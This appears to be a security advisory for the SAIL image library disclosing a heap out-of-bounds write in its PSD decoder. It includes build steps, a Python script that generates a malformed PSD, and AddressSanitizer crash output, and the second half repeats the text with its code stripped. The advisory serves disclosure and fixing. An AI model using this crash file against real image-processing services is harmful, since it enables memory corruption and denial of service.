Summary
Heap out-of-bounds write in the PSD decoder. A crafted PSD in Bitmap color mode with a mismatched depth makes sail_load_from_file() write attacker-controlled bytes past the pixel buffer, corrupting the heap. Reachable by any application that loads an untrusted PSD. Distinct from the published PSD advisories (GHSA-rcqx-gc76-r9mv, GHSA-wcj8-hxxf-pq2c).
Details
psd_private_sail_pixel_format() (src/sail-codecs/psd/helpers.c:48) resolves Bitmap mode with 1 channel to SAIL_PIXEL_FORMAT_BPP1_INDEXED ignoring the file's depth field (helpers.c:55–59). The pixel buffer is therefore allocated for a 1-bit stride (bytes_per_line = ceil(width/8), e.g. 1 byte for width=8).
depth is only checked to be one of {1,8,16,32} (psd.c:174) and never required to match the mode. The decoder then reads bytes_per_channel = (width*depth+7)/8 bytes per row (psd.c:244/363) and, in the depth == 8 branch, writes one full byte per pixel:
for (unsigned pixel = 0; pixel < image->width; pixel++) {
unsigned char* scan = (unsigned char*)sail_scan_line(image, row) + pixel * bytes_per_pixel; // psd.c:370
*(scan + channel) = *(psd_state->scan_buffer + pixel); // psd.c:371 OOB write
}
For width=8, Bitmap mode, depth=8: the loop writes 8 bytes into a 1-byte row, repeated for every row -> heap overflow with attacker-controlled bytes. No guard enforces depth == 1 for Bitmap mode (the equivalent guard exists for XWD but not here).
PoC
Build with AddressSanitizer (PSD codec only, no external deps):
git clone --depth 1 https://github.com/HappySeaFox/sail.git && cd sail
cmake -S . -B b -G Ninja -DBUILD_SHARED_LIBS=OFF -DSAIL_ONLY_CODECS="psd" -DSAIL_BUILD_EXAMPLES=ON -DSAIL_BUILD_APPS=OFF -DSAIL_BUILD_BINDINGS=OFF -DBUILD_TESTING=OFF -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
ninja -C b example-junior-api
Craft a 104-byte PoC (8×8, channels=1, depth=8, mode=0 Bitmap, uncompressed -> 1-byte buffer, 8-bit writes) with the following Python script:
import struct
out = b"8BPS" + struct.pack(">H",1) + b"\x00"*6 + struct.pack(">H",1) # sig, ver=1, reserved, channels=1
out += struct.pack(">I",8) + struct.pack(">I",8) # height=8, width=8
out += struct.pack(">H",8) + struct.pack(">H",0) # depth=8, mode=0 (Bitmap)
out += struct.pack(">I",0)*3 + struct.pack(">H",0) # color/resources/layer len=0, compression=0
out += b"\x41"*64 # pixel data (attacker bytes)
open("poc.psd","wb").write(out)
Then execute:
./b/examples/c/example-junior-api poc.psd
Result:
SAIL: [D] [codec_info.c:37] Finding codec info for path 'poc.psd'
SAIL: [D] [codec_info.c:228] Finding codec info for extension 'psd'
SAIL: [D] [context_private.c:58] Allocated new global context mutex
SAIL: [D] [context_private.c:230] Allocated new context 0x502000000010
SAIL: [I] [context_private.c:710] Version: 1.0.0
SAIL: [I] [context_private.c:715] Build type: Standalone
SAIL: [I] [context_private.c:719] Static build: yes
SAIL: [I] [context_private.c:725] Combine codecs: yes
SAIL: [I] [context_private.c:731] Thread-safe: yes
SAIL: [I] [context_private.c:739] SAIL_THIRD_PARTY_CODECS_PATH: disabled
SAIL: [D] [context_private.c:352] Enumerated codecs:
SAIL: [D] [context_private.c:358] 1. [p2] PSD [Photoshop Document] 0.8.3
SAIL: [D] [context_private.c:358] 2. [p3] TGA [Truevision TGA] 0.8.0
SAIL: [D] [context_private.c:785] Initialized in 1 ms.
SAIL: [D] [codec_info.c:266] Found codec info: PSD
SAIL: [D] [io_file.c:249] Opening file 'poc.psd' in 'rb' mode
SAIL: [D] [codec.c:209] Fetching V8 functions for PSD codec
=================================================================
==391901==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000858 at pc 0x5632dcd3787b bp 0x7ffe0b2db460 sp 0x7ffe0b2db458
WRITE of size 1 at 0x502000000858 thread T0
#0 0x5632dcd3787a in sail_codec_load_frame_v8_psd /tmp/sail/src/sail-codecs/psd/psd.c:371
#1 0x5632dcd2c77c in sail_load_next_frame /tmp/sail/src/sail/sail_advanced.c:133
#2 0x5632dcd1ec5d in sail_load_from_file /tmp/sail/src/sail/sail_junior.c:108
#3 0x5632dcd1d891 in main /tmp/sail/examples/c/junior.c:63
#4 0x7f8f41c35ca7 (/lib/x86_64-linux-gnu/libc.so.6+0x29ca7) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#5 0x7f8f41c35d64 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29d64) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
#6 0x5632dcd1d620 in _start (/tmp/sail/b/examples/c/example-junior-api+0x11620) (BuildId: 532c8fec1f6883c112130b25fb93932cb3599c7c)
0x502000000858 is located 0 bytes after 8-byte region [0x502000000850,0x502000000858)
allocated by thread T0 here:
#0 0x7f8f41ef4c57 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x5632dcd52a55 in sail_malloc /tmp/sail/src/sail-common/memory.c:35
#2 0x5632dcd2c64e in sail_load_next_frame /tmp/sail/src/sail/sail_advanced.c:130
#3 0x5632dcd1ec5d in sail_load_from_file /tmp/sail/src/sail/sail_junior.c:108
#4 0x5632dcd1d891 in main /tmp/sail/examples/c/junior.c:63
#5 0x7f8f41c35ca7 (/lib/x86_64-linux-gnu/libc.so.6+0x29ca7) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/sail/src/sail-codecs/psd/psd.c:371 in sail_codec_load_frame_v8_psd
Shadow bytes around the buggy address:
0x502000000580: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x502000000600: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x502000000680: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x502000000700: fa fa fd fa fa fa fd fd fa fa fd fa fa fa 00 fa
0x502000000780: fa fa fd fd fa fa fd fa fa fa 00 00 fa fa 00 00
=>0x502000000800: fa fa 06 fa fa fa 00 fa fa fa 00[fa]fa fa fa fa
0x502000000880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000000900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000000980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000000a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000000a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Impact
CWE-787 out-of-bounds (heap) write, attacker-controlled contents, triggered through the public sail_load_from_file() / sail_load_from_memory() on an untrusted image. Memory corruption -> potential remote code execution; at minimum a reliable crash (DoS). Affects any application or service using SAIL to decode PSD images: image hosts, thumbnailers and upload pipelines process such files without user interaction.
Summary
Heap out-of-bounds write in the PSD decoder. A crafted PSD in Bitmap color mode with a mismatched
depthmakessail_load_from_file()write attacker-controlled bytes past the pixel buffer, corrupting the heap. Reachable by any application that loads an untrusted PSD. Distinct from the published PSD advisories (GHSA-rcqx-gc76-r9mv, GHSA-wcj8-hxxf-pq2c).Details
psd_private_sail_pixel_format()(src/sail-codecs/psd/helpers.c:48) resolves Bitmap mode with 1 channel toSAIL_PIXEL_FORMAT_BPP1_INDEXEDignoring the file'sdepthfield (helpers.c:55–59). The pixel buffer is therefore allocated for a 1-bit stride (bytes_per_line = ceil(width/8), e.g. 1 byte forwidth=8).depthis only checked to be one of{1,8,16,32}(psd.c:174) and never required to match the mode. The decoder then readsbytes_per_channel = (width*depth+7)/8bytes per row (psd.c:244/363) and, in thedepth == 8branch, writes one full byte per pixel:For
width=8, Bitmap mode,depth=8: the loop writes 8 bytes into a 1-byte row, repeated for every row -> heap overflow with attacker-controlled bytes. No guard enforcesdepth == 1for Bitmap mode (the equivalent guard exists for XWD but not here).PoC
Build with AddressSanitizer (PSD codec only, no external deps):
Craft a 104-byte PoC (8×8, channels=1, depth=8, mode=0 Bitmap, uncompressed -> 1-byte buffer, 8-bit writes) with the following Python script:
Then execute:
Result:
Impact
CWE-787 out-of-bounds (heap) write, attacker-controlled contents, triggered through the public
sail_load_from_file()/sail_load_from_memory()on an untrusted image. Memory corruption -> potential remote code execution; at minimum a reliable crash (DoS). Affects any application or service using SAIL to decode PSD images: image hosts, thumbnailers and upload pipelines process such files without user interaction.